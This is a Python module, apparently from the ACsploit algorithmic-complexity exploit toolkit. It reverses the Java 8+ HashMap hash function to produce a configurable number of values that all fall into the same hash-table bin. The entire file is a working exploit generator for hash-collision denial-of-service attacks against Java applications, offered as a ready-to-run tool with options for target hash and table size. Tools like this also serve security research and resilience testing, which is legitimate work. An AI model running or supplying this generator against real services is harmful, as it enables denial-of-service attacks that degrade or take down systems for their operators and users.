from acsploit.options import Options


options = Options()
options.add_option('n_collisions', 10, 'Number of colliding hashes to create')
options.add_option('hash_table_size', 1024, 'Size of target hash table')
options.add_option('target_hash', 12345, 'Hash value to find collisions against')

DESCRIPTION = 'Produces collisions for the Java 8 and above HashMap class.' \
              '\n\n  ' \
              'The reverse hash function for the HashMap from Java 8 and above is implemented, and so ' \
              'the provided target value will be reversed n_collisions times. To generate multiple ' \
              'hash preimages that create collisions, other targets that are in the same "bin" are also reversed.'


NO_INPUT = True


def run(output):
	if options['target_hash'] > 0xFFFFFFFF:
		raise ValueError("target_hash must be less than 0xFFFFFFFF")
	
	ret = generate_collisions(options['target_hash'], options['n_collisions'], options['hash_table_size'])
	output.output(ret)


def hash(value):
	return value ^ (value >> 16)


def reverse_hash(hash):
	return hash ^ (hash >> 16)


def index_for(hash, hash_table_size):
	return hash & (hash_table_size - 1)


def generate_collisions(target_hash, n_collisions, hash_table_size):
	target_bin = index_for(target_hash, hash_table_size)
	collisions = []

	for i in range(n_collisions):
		collision = reverse_hash(i * hash_table_size + target_bin)
		if collision == target_hash:
			# if we've found the target, generate a different collision, i = nCollisions won't be hit in our loop
			collision = reverse_hash(n_collisions * hash_table_size + target_bin)
		collisions.append(collision)

	return collisions
